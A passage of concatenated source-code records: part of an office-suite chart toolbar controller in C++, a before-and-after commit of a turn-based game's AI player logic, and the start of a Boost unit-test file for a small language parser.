\"com.sun.star.chart2.ShapeToolbarController\" ) );\n    return aSupported;\n}\n\n::sal_Bool ShapeToolbarController::supportsService( const ::rtl::OUString& ServiceName ) throw (uno::RuntimeException)\n{\n    return ::comphelper::existsValue( ServiceName, getSupportedServiceNames_Static() );\n}\n\nSequence< ::rtl::OUString> ShapeToolbarController::getSupportedServiceNames() throw (uno::RuntimeException)\n{\n    return getSupportedServiceNames_Static();\n}\n\nReference< uno::XInterface > ShapeToolbarController::create( const Reference< uno::XComponentContext >& xContext )\n{\n    return *( new ShapeToolbarController( Reference< lang::XMultiServiceFactory >( xContext->getServiceManager(), uno::UNO_QUERY ) ) );\n}\n\nShapeToolbarController::ShapeToolbarController( const Reference< lang::XMultiServiceFactory >& rxFact )\n    :m_pToolbarController( NULL )\n    ,m_nToolBoxId( 1 )\n    ,m_nSlotId( 0 )\n{\n    osl_incrementInterlockedCount( &m_refCount );\n    m_xServiceManager = rxFact;\n    osl_decrementInterlockedCount( &m_refCount );\n}\n\nShapeToolbarController::~ShapeToolbarController()\n{\n}\n\n\/\/ ::com::sun::star::uno::XInterface\nuno::Any ShapeToolbarController::queryInterface( const uno::Type& rType ) throw (uno::RuntimeException)\n{\n    uno::Any aReturn = ToolboxController::queryInterface( rType );\n    if ( !aReturn.hasValue() )\n    {\n        aReturn = ShapeToolbarController_Base::queryInterface( rType );\n    }\n    return aReturn;\n}\n\nvoid ShapeToolbarController::acquire() throw ()\n{\n    ToolboxController::acquire();\n}\n\nvoid ShapeToolbarController::release() throw ()\n{\n    ToolboxController::release();\n}\n\n\/\/ ::com::sun::star::lang::XInitialization\nvoid ShapeToolbarController::initialize( const Sequence< uno::Any >& rArguments ) throw (uno::Exception, uno::RuntimeException)\n{\n    ToolboxController::initialize( rArguments );\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    ToolBox* pToolBox = static_cast< ToolBox* >( VCLUnoHelper::GetWindow( getParent() ) );\n    if ( pToolBox )\n    {\n        const USHORT nCount = pToolBox->GetItemCount();\n        for ( USHORT nPos = 0; nPos < nCount; ++nPos )\n        {\n            const USHORT nItemId = pToolBox->GetItemId( nPos );\n            if ( pToolBox->GetItemCommand( nItemId ) == String( m_aCommandURL ) )\n            {\n                m_nToolBoxId = nItemId;\n                break;\n            }\n        }\n        if ( m_aCommandURL.equalsAscii( \".uno:BasicShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:BasicShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_BASIC;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:SymbolShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:SymbolShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_SYMBOL;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:ArrowShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:ArrowShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_ARROW;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:FlowChartShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:FlowChartShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_FLOWCHART;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:CalloutShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:CalloutShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_CALLOUT;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n        else if ( m_aCommandURL.equalsAscii( \".uno:StarShapes\" ) )\n        {\n            m_aStates.insert( TCommandState::value_type( ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM( \".uno:StarShapes\" ) ), sal_True ) );\n            m_nSlotId = SID_DRAWTBX_CS_STAR;\n            m_pToolbarController = TToolbarHelper::createFromQuery( new SvxTbxCtlCustomShapes( m_nSlotId, m_nToolBoxId, *pToolBox ) );\n        }\n\n        for ( TCommandState::iterator aIter( m_aStates.begin() ); aIter != m_aStates.end(); ++aIter )\n        {\n            addStatusListener( aIter->first );\n        }\n\n        if ( m_pToolbarController.is() )\n        {\n            m_pToolbarController->initialize( rArguments );\n        }\n\n        \/\/ check if paste special is allowed, when not don't add DROPDOWN\n        pToolBox->SetItemBits( m_nToolBoxId, pToolBox->GetItemBits( m_nToolBoxId ) | TIB_DROPDOWN );\n    }\n}\n\n\/\/ ::com::sun::star::frame::XStatusListener\nvoid ShapeToolbarController::statusChanged( const frame::FeatureStateEvent& Event ) throw ( uno::RuntimeException )\n{\n    ::osl::MutexGuard aGuard( m_aMutex );\n    TCommandState::iterator aFind = m_aStates.find( Event.FeatureURL.Complete );\n    if ( aFind != m_aStates.end() )\n    {\n        aFind->second = Event.IsEnabled;\n        if ( m_pToolbarController.is() )\n        {\n            sal_Bool bCheckmark = sal_False;\n            ToolBox& rTb = m_pToolbarController->GetToolBox();\n\n            for ( USHORT i = 0; i < rTb.GetItemCount(); ++i )\n            {\n                USHORT nId = rTb.GetItemId( i );\n                if ( nId == 0 )\n                {\n                    continue;\n                }\n                ::rtl::OUString aCmd = rTb.GetItemCommand( nId );\n                if ( aCmd == Event.FeatureURL.Complete )\n                {\n                    rTb.EnableItem( nId, Event.IsEnabled );\n                    if ( Event.State >>= bCheckmark )\n                    {\n                        rTb.CheckItem( nId, bCheckmark );\n                    }\n                    else\n                    {\n                        ::rtl::OUString aItemText;\n                        if ( Event.State >>= aItemText )\n                        {\n                            rTb.SetItemText( nId, aItemText );\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n\n\/\/ ::com::sun::star::frame::XToolbarController\nReference< awt::XWindow > ShapeToolbarController::createPopupWindow() throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    Reference< awt::XWindow > xRet;\n    if ( m_pToolbarController.is() )\n    {\n        xRet = m_pToolbarController.getRef()->createPopupWindow();\n    }\n\n    return xRet;\n}\n\n\/\/ ::com::sun::star::frame::XSubToolbarController\n::sal_Bool ShapeToolbarController::opensSubToolbar() throw (uno::RuntimeException)\n{\n    return ( m_nSlotId == SID_DRAWTBX_CS_BASIC ||\n             m_nSlotId == SID_DRAWTBX_CS_SYMBOL ||\n             m_nSlotId == SID_DRAWTBX_CS_ARROW ||\n             m_nSlotId == SID_DRAWTBX_CS_FLOWCHART ||\n             m_nSlotId == SID_DRAWTBX_CS_CALLOUT ||\n             m_nSlotId == SID_DRAWTBX_CS_STAR );\n}\n\n::rtl::OUString ShapeToolbarController::getSubToolbarName() throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard(m_aMutex);\n    uno::Reference< frame::XSubToolbarController > xSub( m_pToolbarController.getRef(), uno::UNO_QUERY );\n    if ( xSub.is() )\n    {\n        return xSub->getSubToolbarName();\n    }\n    return ::rtl::OUString();\n}\n\nvoid ShapeToolbarController::functionSelected( const ::rtl::OUString& rCommand ) throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    uno::Reference< frame::XSubToolbarController > xSub( m_pToolbarController.getRef(), uno::UNO_QUERY );\n    if ( xSub.is() )\n    {\n        m_aCommandURL = rCommand;\n        xSub->functionSelected( rCommand );\n    }\n}\n\nvoid ShapeToolbarController::updateImage() throw (uno::RuntimeException)\n{\n    ::vos::OGuard aSolarMutexGuard( Application::GetSolarMutex() );\n    ::osl::MutexGuard aGuard( m_aMutex );\n\n    uno::Reference< frame::XSubToolbarController > xSub( m_pToolbarController.getRef(), uno::UNO_QUERY );\n    if ( xSub.is() )\n    {\n        xSub->updateImage();\n    }\n}\n\n\/\/.............................................................................\n} \/\/  namespace chart\n\/\/.............................................................................\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2015 FMAW\n\n#include \".\/player_ai.h\"\n\n#include <cstdlib>\n#include <vector>\n#include <map>\n#include <algorithm>\n\n#include \".\/constants.h\"\n#include \".\/unit.h\"\n#include \".\/cell.h\"\n#include \".\/turnManager.h\"\n\n#include \".\/FMAW.h\"\n\n#include <algorithm>\n\nPlayerAI::PlayerAI(Grid *grid, std::function<void(void)> callback) :\n    grid(grid),\n    onFinishTurnCallback(callback),\n    seed(42) {}\n\nPlayerAI::PlayerAI(Grid *grid, std::function<void(void)> call, PlayerID ID) :\n    Player(ID),\n    grid(grid),\n    onFinishTurnCallback(call),\n    seed(42) {}\n\nvoid PlayerAI::startTurn() {\n\n    \/\/ Prevent user from interacting with grid.\n    this->grid->dequeueCallbacks();\n\n    IndexPath previousPositionOfCursor = this->grid->getSelectedPath();\n\n    bool recompute = true;\n    std::map<IndexPath, int> distanceToNearestEnemyUnit;\n\n    \/\/ Helper function to compute best cell to move.\n    auto nearestEnemy = [&distanceToNearestEnemyUnit](IndexPath i, IndexPath j)\n    -> bool {\n        return distanceToNearestEnemyUnit[i] < distanceToNearestEnemyUnit[j];\n    };\n\n    \/\/ Now we have to make some decisions...\n    \/\/ We will call the following callback once each 1.5s.\n    this->unitNumber = 0;\n    auto moveSomeUnit = [this, previousPositionOfCursor, &recompute,\n    &distanceToNearestEnemyUnit, nearestEnemy](int ID) {\n        FMAW::printf(\"Computing AI data...\");\n        \/\/ Here we will store the units of this AI player and the path where\n        \/\/ they are located.\n        std::vector<Unit *> IAunits;\n        std::vector<IndexPath> IApaths;\n        std::vector<Unit *> playerUnits;\n        std::vector<IndexPath> playerPaths;\n        std::vector<IndexPath> chosenPaths;\n\n        \/\/ We have to check the full grid to know where are our units.\n        for (int row = 0; row < this->grid->numRows(); row++) {\n            for (int col = 0; col < this->grid->numCols(); col++)  {\n                IndexPath path = { row, col };\n                Cell *c = this->grid->cellAtIndexPath(path);\n                if (c->isOccupied()) {\n                    Unit *u = c->getCharacter();\n                    if (u->getOwner() == this->ID) {\n                        IAunits.push_back(u);\n                        IApaths.push_back(path);\n                    } else {\n                        playerUnits.push_back(u);\n                        playerPaths.push_back(path);\n                    }\n                }\n            }\n        }\n\n        FMAW::printf(\"\\tReady units\");\n\n        std::map<IndexPath, std::vector<IndexPath>> IAUnitCanAttack;\n        std::map<IndexPath, std::vector<IndexPath>> PlayerUnitCanBeAttackedBy;\n\n        \/\/ Compute which units can attack which ones.\n        for (IndexPath p : IApaths) {\n            this->grid->setPickedUpCell(p);\n            Cell *c = this->grid->cellAtIndexPath(p);\n            if (c->getCharacter()->hasAvailableActions()) {\n                for (IndexPath t : playerPaths) {\n                    if (grid->pickedUpUnitCanAttackCharacterAtCell(t)) {\n                        IAUnitCanAttack[p].push_back(t);\n                        PlayerUnitCanBeAttackedBy[t].push_back(p);\n                    }\n                }\n            }\n        }\n\n        FMAW::printf(\"\\tReady attacks\");\n\n        if (recompute) {\n            \/\/ Compute distance to nearest visible enemy.\n            for (int row = 0; row < this->grid->numRows(); row++) {\n                for (int col = 0; col < this->grid->numCols(); col++) {\n                    IndexPath f = { row, col };\n                    Cell *from = grid->cellAtIndexPath(f);\n                    distanceToNearestEnemyUnit[f] = COST_CELL_INFINITY;\n                    for (int tr = 0; tr < this->grid->numRows(); tr++) {\n                        for (int tc = 0; tc < this->grid->numCols(); tc++) {\n                            IndexPath t = { tr, tc };\n                            Cell *to = this->grid->cellAtIndexPath(t);\n                            int distance = abs(t.row - f.row) +\n                                           abs(t.col - f.col);\n                            if (to->isOccupied()) {\n                                Unit *u = to->getCharacter();\n                                if (this->grid->canSeeCharacterAtCell(t) &&\n                                        u->getOwner() != this->ID) {\n                                    distanceToNearestEnemyUnit[f] = distance;\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n            recompute = false;\n        }\n\n        FMAW::printf(\"\\tReady distances\");\n\n        bool canDoSomething = false;\n        for (Unit *u : IAunits) {\n            if (u->hasAvailableActions()) {\n                canDoSomething = true;\n            }\n        }\n        if (canDoSomething) {\n            while (!IAunits[this->unitNumber]->hasAvailableActions()) {\n                this->unitNumber++;\n                this->unitNumber %= IAunits.size();\n            }\n            \/\/------------------------------------------------------------------\n            \/\/ Actual AI script.\n            \/\/------------------------------------------------------------------\n            bool actionDone = false;\n            IndexPath path = IApaths[this->unitNumber];\n            Unit *unit = IAunits[this->unitNumber];\n            this->grid->setPickedUpCell(path);\n\n            int row = path.row;\n            int col = path.col;\n\n            FMAW::printf(\"Choosing action for unit %d at %d %d\",\n                         this->unitNumber, row, col);\n\n            std::vector<IndexPath> shouldAttack;\n            std::vector<IndexPath> attackable;\n\n            \/\/ If I'm the only one who can attack, I'll do (random on tie).\n\n            attackable = IAUnitCanAttack[path];\n            for (IndexPath t : attackable) {\n                if (PlayerUnitCanBeAttackedBy[t].size() == 1) {\n                    shouldAttack.push_back(t);\n                }\n            }\n\n            FMAW::printf(\"\\tI'm the only one that can attack %d units\",\n                         attackable.size());\n\n            \/\/ If I'm not the only one, I attack to a random (random on tie).\n            if (shouldAttack.size() == 0) {\n                attackable = IAUnitCanAttack[path];\n                for (IndexPath t : attackable) {\n                    shouldAttack.push_back(t);\n                }\n\n                FMAW::printf(\"\\tMe and others can attack %d units\",\n                             attackable.size());\n            }\n\n            \/\/ I'll attack if I can.\n            if (shouldAttack.size() > 0) {\n                while (shouldAttack.size() > 0) {\n                    int rand = rand_r(&(this->seed)) % shouldAttack.size();\n                    IndexPath tg = shouldAttack[rand];\n                    if (this->grid->pickedUpUnitCanAttackCharacterAtCell(tg)) {\n                        FMAW::printf(\"\\tWill attack unit at %d %d\",\n                                     tg.row, tg.col);\n                        bool kill = this->grid->attackCharacterAtCell(\n                                        path, tg, ATTACK_DURATION);\n                        if (kill) {\n                            recompute = true;\n                        }\n                        actionDone = true;\n                        break;\n                    } else {\n                        FMAW::printf(\"\\tCouldn't to attack unit at %d %d\",\n                                     tg.row, tg.col);\n                        shouldAttack.erase(shouldAttack.begin() + rand);\n                    }\n                }\n            }\n\n            \/\/ If I can't attack, I'll move to the nearest enemy unit (random\n            \/\/ on tie).\n            if (!actionDone) {\n                FMAW::printf(\"\\tI couldn't attack any unit, so I'll move\");\n                std::vector<IndexPath> availableMovements;\n                for (int r = 0; r < this->grid->numRows(); r++) {\n                    for (int c = 0; c < this->grid->numCols(); c++) {\n                        IndexPath t = { r, c };\n                        if (this->grid->canMoveCharacterFromCellToCell(path, t)) {\n                            availableMovements.push_back(t);\n                        }\n                    }\n                }\n\n                FMAW::printf(\"\\tI can move to %d cells\",\n                             availableMovements.size());\n\n                std::sort(availableMovements.begin(), availableMovements.end(),\n                          nearestEnemy);\n\n                if (availableMovements.size() > 0) {\n                    IndexPath chosen = availableMovements[0];\n                    FMAW::printf(\"\\tI'll move to %d %d\",\n                                 chosen.row, chosen.col);\n                    this->grid->moveCharacterFromCellToCell(path, chosen,\n                                                            MOVEMENT_DURATION);\n                    IApaths[this->unitNumber] = chosen;\n                }\n            }\n\n            FMAW::printf(\"\\t-------------------------------------------------\");\n\n            \/\/------------------------------------------------------------------\n            \/\/ End of AI script.\n            \/\/------------------------------------------------------------------\n            this->grid->selectCellAtIndexPath(previousPositionOfCursor);\n        } else {\n            FMAW::printf(\"\\tI've finished!\");\n            this->grid->enqueueCallbacks();\n            FMAW::Timer::dequeue_function(ID);\n            this->onFinishTurnCallback();\n        }\n    };\n    FMAW::Timer::enqueue_function(moveSomeUnit, 1500, true);\n}\n\nvoid PlayerAI::print() {\n    FMAW::printf(\"I'm an AI player with ID=%d\", this->ID);\n}\n<commit_msg>Reversed performance improvements to ensure stability.<commit_after>\/\/ Copyright 2015 FMAW\n\n#include \".\/player_ai.h\"\n\n#include <cstdlib>\n#include <vector>\n#include <map>\n#include <algorithm>\n\n#include \".\/constants.h\"\n#include \".\/unit.h\"\n#include \".\/cell.h\"\n#include \".\/turnManager.h\"\n\n#include \".\/FMAW.h\"\n\n#include <algorithm>\n\nPlayerAI::PlayerAI(Grid *grid, std::function<void(void)> callback) :\n    grid(grid),\n    onFinishTurnCallback(callback),\n    seed(42) {}\n\nPlayerAI::PlayerAI(Grid *grid, std::function<void(void)> call, PlayerID ID) :\n    Player(ID),\n    grid(grid),\n    onFinishTurnCallback(call),\n    seed(42) {}\n\nvoid PlayerAI::startTurn() {\n\n    \/\/ Prevent user from interacting with grid.\n    this->grid->dequeueCallbacks();\n\n    IndexPath previousPositionOfCursor = this->grid->getSelectedPath();\n\n    \/\/ Now we have to make some decisions...\n    \/\/ We will call the following callback once each 1.5s.\n    this->unitNumber = 0;\n    auto moveSomeUnit = [this, previousPositionOfCursor](int ID) {\n        \/\/ Here we will store the units of this AI player and the path where they\n        \/\/ are located.\n        std::vector<Unit *> IAunits;\n        std::vector<IndexPath> IApaths;\n        std::vector<Unit *> playerUnits;\n        std::vector<IndexPath> playerPaths;\n        std::vector<IndexPath> chosenPaths;\n\n        \/\/ We have to check the full grid to know where are our units.\n        for (int row = 0; row < this->grid->numRows(); row++) {\n            for (int col = 0; col < this->grid->numCols(); col++)  {\n                IndexPath path = { row, col };\n                Cell *c = this->grid->cellAtIndexPath(path);\n                if (c->isOccupied()) {\n                    Unit *u = c->getCharacter();\n                    if (u->getOwner() == this->ID) {\n                        IAunits.push_back(u);\n                        IApaths.push_back(path);\n                    } else {\n                        playerUnits.push_back(u);\n                        playerPaths.push_back(path);\n                    }\n                }\n            }\n        }\n\n        std::map<IndexPath, std::vector<IndexPath>> IAUnitCanAttack;\n        std::map<IndexPath, std::vector<IndexPath>> PlayerUnitCanBeAttackedBy;\n\n        std::map<IndexPath, std::vector<IndexPath>> IAUnitsPossibleMovements;\n        std::map<IndexPath, int> distanceToNearestEnemyUnit;\n\n        \/\/ Compute which units can attack which ones.\n        for (IndexPath p : IApaths) {\n            this->grid->setPickedUpCell(p);\n            Cell *c = this->grid->cellAtIndexPath(p);\n            if (c->getCharacter()->hasAvailableActions()) {\n                for (IndexPath t : playerPaths) {\n                    if (grid->pickedUpUnitCanAttackCharacterAtCell(t)) {\n                        IAUnitCanAttack[p].push_back(t);\n                        PlayerUnitCanBeAttackedBy[t].push_back(p);\n                    }\n                }\n            }\n        }\n\n        \/\/ Compute where can be moved IA units.\n        for (IndexPath p : IApaths) {\n            for (int row = 0; row < this->grid->numRows(); row++) {\n                for (int col = 0; col < this->grid->numCols(); col++)  {\n                    IndexPath t = { row, col };\n                    if (grid->canMoveCharacterFromCellToCell(p, t)) {\n                        IAUnitsPossibleMovements[p].push_back(t);\n                    }\n                }\n            }\n        }\n\n        \/\/ Compute distance to nearest visible enemy.\n        for (int row = 0; row < this->grid->numRows(); row++) {\n            for (int col = 0; col < this->grid->numCols(); col++) {\n                IndexPath f = { row, col };\n                Cell *from = grid->cellAtIndexPath(f);\n                distanceToNearestEnemyUnit[f] = COST_CELL_INFINITY;\n                for (int t_row = 0; t_row < this->grid->numRows(); t_row++) {\n                    for (int t_col = 0; t_col < this->grid->numCols(); t_col++) {\n                        IndexPath t = { t_row, t_col };\n                        Cell *to = this->grid->cellAtIndexPath(t);\n                        int distance = abs(t.row - f.row) + abs(t.col - f.col);\n                        if (to->isOccupied()) {\n                            Unit *u = to->getCharacter();\n                            if (this->grid->canSeeCharacterAtCell(t) &&\n                                    u->getOwner() != this->ID) {\n                                distanceToNearestEnemyUnit[f] = distance;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n\n        \/\/ Helper function to compute best cell to move.\n        auto nearestEnemy = [&distanceToNearestEnemyUnit](\n                                IndexPath i, IndexPath j\n        ) -> bool {\n            return distanceToNearestEnemyUnit[i] < distanceToNearestEnemyUnit[j];\n        };\n\n        bool canDoSomething = false;\n        for (Unit *u : IAunits) {\n            if (u->hasAvailableActions()) {\n                canDoSomething = true;\n            }\n        }\n        if (canDoSomething) {\n            while (!IAunits[this->unitNumber]->hasAvailableActions()) {\n                this->unitNumber++;\n                this->unitNumber %= IAunits.size();\n            }\n            \/\/------------------------------------------------------------------\n            \/\/ Actual AI script.\n            \/\/------------------------------------------------------------------\n            bool actionDone = false;\n            IndexPath path = IApaths[this->unitNumber];\n            Unit *unit = IAunits[this->unitNumber];\n            this->grid->setPickedUpCell(path);\n\n            int row = path.row;\n            int col = path.col;\n\n            FMAW::printf(\"Choosing action for unit %d at %d %d\",\n                         this->unitNumber, row, col);\n\n            std::vector<IndexPath> shouldAttack;\n            std::vector<IndexPath> attackable;\n\n            \/\/ If I'm the only one who can attack, I'll do (random on tie).\n\n            attackable = IAUnitCanAttack[path];\n            for (IndexPath t : attackable) {\n                if (PlayerUnitCanBeAttackedBy[t].size() == 1) {\n                    shouldAttack.push_back(t);\n                }\n            }\n\n            FMAW::printf(\"\\tI'm the only one that can attack %d units\",\n                         attackable.size());\n\n            \/\/ If I'm not the only one, I attack to a random (random on tie).\n            if (shouldAttack.size() == 0) {\n                attackable = IAUnitCanAttack[path];\n                for (IndexPath t : attackable) {\n                    shouldAttack.push_back(t);\n                }\n\n                FMAW::printf(\"\\tMe and others can attack %d units\",\n                             attackable.size());\n            }\n\n            \/\/ I'll attack if I can.\n            if (shouldAttack.size() > 0) {\n                while (shouldAttack.size() > 0) {\n                    int rand = rand_r(&(this->seed)) % shouldAttack.size();\n                    IndexPath tg = shouldAttack[rand];\n                    if (this->grid->pickedUpUnitCanAttackCharacterAtCell(tg)) {\n                        FMAW::printf(\"\\tWill attack unit at %d %d\",\n                                     tg.row, tg.col);\n                        this->grid->attackCharacterAtCell(path, tg,\n                                                          ATTACK_DURATION);\n                        actionDone = true;\n                        break;\n                    } else {\n                        FMAW::printf(\"\\tCouldn't to attack unit at %d %d\",\n                                     tg.row, tg.col);\n                        shouldAttack.erase(shouldAttack.begin() + rand);\n                    }\n                }\n            }\n\n            \/\/ If I can't attack, I'll move to the nearest enemy unit (random\n            \/\/ on tie).\n            if (!actionDone) {\n                FMAW::printf(\"\\tI couldn't attack any unit, so I'll move\");\n                std::vector<IndexPath> availableMovements;\n                for (int r = 0; r < this->grid->numRows(); r++) {\n                    for (int c = 0; c < this->grid->numCols(); c++) {\n                        IndexPath t = { r, c };\n                        if (this->grid->canMoveCharacterFromCellToCell(path, t)) {\n                            availableMovements.push_back(t);\n                        }\n                    }\n                }\n\n                FMAW::printf(\"\\tI can move to %d cells\",\n                             availableMovements.size());\n\n                std::sort(availableMovements.begin(), availableMovements.end(),\n                          nearestEnemy);\n\n                if (availableMovements.size() > 0) {\n                    IndexPath chosen = availableMovements[0];\n                    FMAW::printf(\"\\tI'll move to %d %d\",\n                                 chosen.row, chosen.col);\n                    this->grid->moveCharacterFromCellToCell(path, chosen,\n                                                            MOVEMENT_DURATION);\n                    IApaths[this->unitNumber] = chosen;\n                }\n            }\n\n            FMAW::printf(\"\\t-------------------------------------------------\");\n\n            \/\/------------------------------------------------------------------\n            \/\/ End of AI script.\n            \/\/------------------------------------------------------------------\n            this->grid->selectCellAtIndexPath(previousPositionOfCursor);\n        } else {\n            FMAW::printf(\"\\tI've finished!\");\n            this->grid->enqueueCallbacks();\n            FMAW::Timer::dequeue_function(ID);\n            this->onFinishTurnCallback();\n        }\n    };\n    FMAW::Timer::enqueue_function(moveSomeUnit, 1500, true);\n}\n\nvoid PlayerAI::print() {\n    FMAW::printf(\"I'm an AI player with ID=%d\", this->ID);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"p0compile\/parser.hpp\"\n#include \"p0compile\/expression_tree.hpp\"\n#include \"p0compile\/statement_tree.hpp\"\n#include \"p0compile\/scanner.hpp\"\n#include \"p0compile\/compiler_error.hpp\"\n#include <boost\/test\/unit_test.hpp>\n\n\nnamespace\n{\n\tbool handle_unexpected_error(p0::compiler_error const &error)\n\t{\n\t\t(void)error;\n\t\tBOOST_REQUIRE(nullptr == \"No error expected\");\n\t\treturn true;\n\t}\n\n\ttemplate <class ASTHandler>\n\tvoid test_parser(std::string const &source, ASTHandler const &handle_ast)\n\t{\n\t\tp0::source_range const source_range(\n\t\t\t\t\tsource.data(),\n\t\t\t\t\tsource.data() + source.size());\n\t\tp0::scanner scanner(source_range);\n\t\tp0::parser parser(scanner, handle_unexpected_error);\n\t\tauto const ast = parser.parse_unit();\n\t\tBOOST_REQUIRE(ast);\n\t\thandle_ast(*ast);\n\t}\n\n\ttemplate <class Base>\n\tstruct down_caster\n\t{\n\t\tdown_caster(Base const &base)\n\t\t\t: m_base(&base)\n\t\t{\n\t\t}\n\n\t\ttemplate <class Down>\n\t\toperator Down const &() const\n\t\t{\n\t\t\tassert(m_base);\n\t\t\treturn dynamic_cast<Down const &>(*m_base);\n\t\t}\n\n\tprivate:\n\n\t\tBase const *m_base;\n\t};\n\n\ttemplate <class Handler>\n\tvoid check_expression(p0::expression_tree const &expression, Handler const &handler)\n\t{\n\t\thandler(down_caster<p0::expression_tree>(expression));\n\t}\n\n\ttemplate <class Handler>\n\tvoid check_statement(p0::statement_tree const &statement, Handler const &handler)\n\t{\n\t\thandler(down_caster<p0::statement_tree>(statement));\n\t}\n}\n\nBOOST_AUTO_TEST_CASE(parse_empty_file_test)\n{\n\ttest_parser(\"\", [](p0::function_tree const &ast)\n\t{\n\t\tBOOST_CHECK(ast.parameters().empty());\n\t\tcheck_statement(ast.body(), [](p0::block_tree const &block)\n\t\t{\n\t\t\tBOOST_CHECK(block.body().empty());\n\t\t});\n\t});\n}\n\nBOOST_AUTO_TEST_CASE(parse_return_test)\n{\n\ttest_parser(\"return null\", [](p0::function_tree const &ast)\n\t{\n\t\tBOOST_CHECK(ast.parameters().empty());\n\t\tcheck_statement(ast.body(), [](p0::block_tree const &block)\n\t\t{\n\t\t\tBOOST_REQUIRE(block.body().size() == 1);\n\t\t\tcheck_statement(*block.body()[0], [](p0::return_tree const &return_)\n\t\t\t{\n\t\t\t\tcheck_expression(return_.value(), [](p0::null_expression_tree const &)\n\t\t\t\t{\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t});\n}\n\nBOOST_AUTO_TEST_CASE(parse_load_module_test)\n{\n\ttest_parser(\"import name\", [](p0::function_tree const &ast)\n\t{\n\t\tBOOST_CHECK(ast.parameters().empty());\n\t\tcheck_statement(ast.body(), [](p0::block_tree const &block)\n\t\t{\n\t\t\tBOOST_REQUIRE(block.body().size() == 1);\n\t\t\tcheck_statement(*block.body()[0], [](p0::expression_statement_tree const &statement)\n\t\t\t{\n\t\t\t\tcheck_expression(statement.expression(), [](p0::import_expression_tree const &load_module)\n\t\t\t\t{\n\t\t\t\t\tcheck_expression(load_module.name(), [](p0::name_expression_tree const &name)\n\t\t\t\t\t{\n\t\t\t\t\t\tBOOST_CHECK(\"name\" == p0::source_range_to_string(name.name()));\n\t\t\t\t\t});\n\t\t\t\t});\n\t\t\t});\n\t\t});\n\t});\n}\n<commit_msg>test some expected parser errors<commit_after>#include \"p0compile\/parser.hpp\"\n#include \"p0compile\/expression_tree.hpp\"\n#include \"p0compile\/statement_tree.hpp\"\n#include \"p0compile\/scanner.hpp\"\n#include \"p0compile\/compiler_error.hpp\"\n#include <boost\/test\/unit_test.hpp>\n\n\nnamespace\n{\n\ttemplate <class ASTHandler, class ErrorHandler>\n\tvoid check_source(std::string const &source,\n\t\t\t\t\t  ASTHandler const &handle_ast,\n\t\t\t\t\t  ErrorHandler const &handle_error)\n\t{\n\t\tp0::source_range const source_range(\n\t\t\t\t\tsource.data(),\n\t\t\t\t\tsource.data() + source.size());\n\t\tp0::scanner scanner(source_range);\n\t\tp0::parser parser(scanner, handle_error);\n\t\tauto const ast = parser.parse_unit();\n\t\tBOOST_REQUIRE(ast);\n\t\thandle_ast(*ast);\n\t}\n\n\tbool handle_unexpected_error(p0::compiler_error const &error)\n\t{\n\t\t(void)error;\n\t\tBOOST_REQUIRE(nullptr == \"No error expected\");\n\t\treturn true;\n\t}\n\n\ttemplate <class ASTHandler>\n\tvoid check_valid_source(std::string const &source,\n\t\t\t\t\t\t\tASTHandler const &handle_ast)\n\t{\n\t\treturn check_source(source, handle_ast, handle_unexpected_error);\n\t}\n\n\tvoid check_invalid_source(std::string const &source,\n\t\t\t\t\t\t\t  std::size_t error_position)\n\t{\n\t\tbool has_failed = false;\n\t\tcheck_source(\n\t\t\tsource,\n\t\t\t[](p0::function_tree const &)\n\t\t{\n\t\t\t\/\/ignore results\n\t\t},\n\t\t\t[error_position, &source, &has_failed](p0::compiler_error const &error) -> bool\n\t\t{\n\t\t\tauto const error_found_at = error.position().begin();\n\t\t\tBOOST_CHECK(source.data() + error_position == error_found_at);\n\t\t\thas_failed = true;\n\t\t\treturn 